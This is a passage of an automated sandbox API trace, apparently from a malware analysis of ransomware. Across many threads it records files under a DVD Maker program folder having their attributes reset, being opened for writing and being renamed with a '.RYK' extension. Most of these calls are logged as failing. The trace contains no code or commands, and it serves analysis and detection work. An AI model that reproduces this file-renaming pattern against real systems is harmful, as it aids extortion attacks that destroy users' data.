	[0227.699] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\15x15dot.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\15x15dot.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 981
	os_tid = 0x1578

	[0227.705] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png", dwFileAttributes=0x80) returned 0
	[0227.844] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.844] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\decorative_rule.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\decorative_rule.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 982
	os_tid = 0x157c

	[0227.715] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.715] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.715] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 983
	os_tid = 0x1580

	[0227.717] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.717] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.717] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationLeft_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationleft_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 984
	os_tid = 0x1584

	[0227.720] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.720] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.720] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 985
	os_tid = 0x1588

	[0227.722] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.722] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.722] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.722] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationRight_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationright_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 986
	os_tid = 0x158c

	[0227.724] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png", dwFileAttributes=0x80) returned 0
	[0227.724] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.724] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_ButtonGraphic.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_buttongraphic.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 987
	os_tid = 0x1590

	[0227.725] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png", dwFileAttributes=0x80) returned 0
	[0227.726] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.726] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.726] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\NavigationUp_SelectionSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\navigationup_selectionsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 988
	os_tid = 0x1594

	[0227.727] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png", dwFileAttributes=0x80) returned 0
	[0227.848] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.856] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\OldAge\\vintage.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\oldage\\vintage.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 989
	os_tid = 0x1598

	[0227.729] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png", dwFileAttributes=0x80) returned 0
	[0227.862] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.862] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\720x480blacksquare.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\720x480blacksquare.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 990
	os_tid = 0x159c

	[0227.730] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0227.863] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.864] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.864] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 991
	os_tid = 0x15a0

	[0227.731] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png", dwFileAttributes=0x80) returned 0
	[0227.865] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.865] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\NextMenuButtonIconSubpictur.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\nextmenubuttoniconsubpictur.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 992
	os_tid = 0x15a4

	[0227.732] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv", dwFileAttributes=0x80) returned 0
	[0227.867] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.867] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 993
	os_tid = 0x15a8

	[0227.733] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0227.869] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.869] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.869] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Notes_loop_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\notes_loop_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 994
	os_tid = 0x15ac

	[0227.734] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0227.870] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 995
	os_tid = 0x15b0

	[0227.736] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png", dwFileAttributes=0x80) returned 0
	[0227.872] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.873] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\ParentMenuButtonIconSubpict.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\parentmenubuttoniconsubpict.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 996
	os_tid = 0x15b4

	[0227.737] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png", dwFileAttributes=0x80) returned 0
	[0227.874] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.875] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\performance.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\performance.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 997
	os_tid = 0x15b8

	[0227.739] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png", dwFileAttributes=0x80) returned 0
	[0227.740] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.740] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.740] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Mask1.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_mask1.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 998
	os_tid = 0x15bc

	[0227.876] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png", dwFileAttributes=0x80) returned 0
	[0227.876] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.877] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Perf_Scenes_Subpicture1.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\perf_scenes_subpicture1.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1020
	os_tid = 0x1614

	[0227.878] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0227.878] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0227.879] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0227.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1021
	os_tid = 0x1618

	[0227.880] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png", dwFileAttributes=0x80) returned 0
	[0227.976] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.354] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.354] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\PreviousMenuButtonIconSubpi.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\previousmenubuttoniconsubpi.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1022
	os_tid = 0x161c

	[0227.881] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png", dwFileAttributes=0x80) returned 0
	[0227.976] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.347] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.347] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\redmenu.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\redmenu.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1023
	os_tid = 0x1620

	[0227.882] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv", dwFileAttributes=0x80) returned 0
	[0227.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.345] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.346] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1024
	os_tid = 0x1624

	[0227.885] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0227.977] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0228.344] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0228.344] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\Scene_loop_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\performance\\scene_loop_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1025
	os_tid = 0x1628

	[0227.886] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\TitleButtonIcon.png", dwFileAttributes=0x80) returned 0
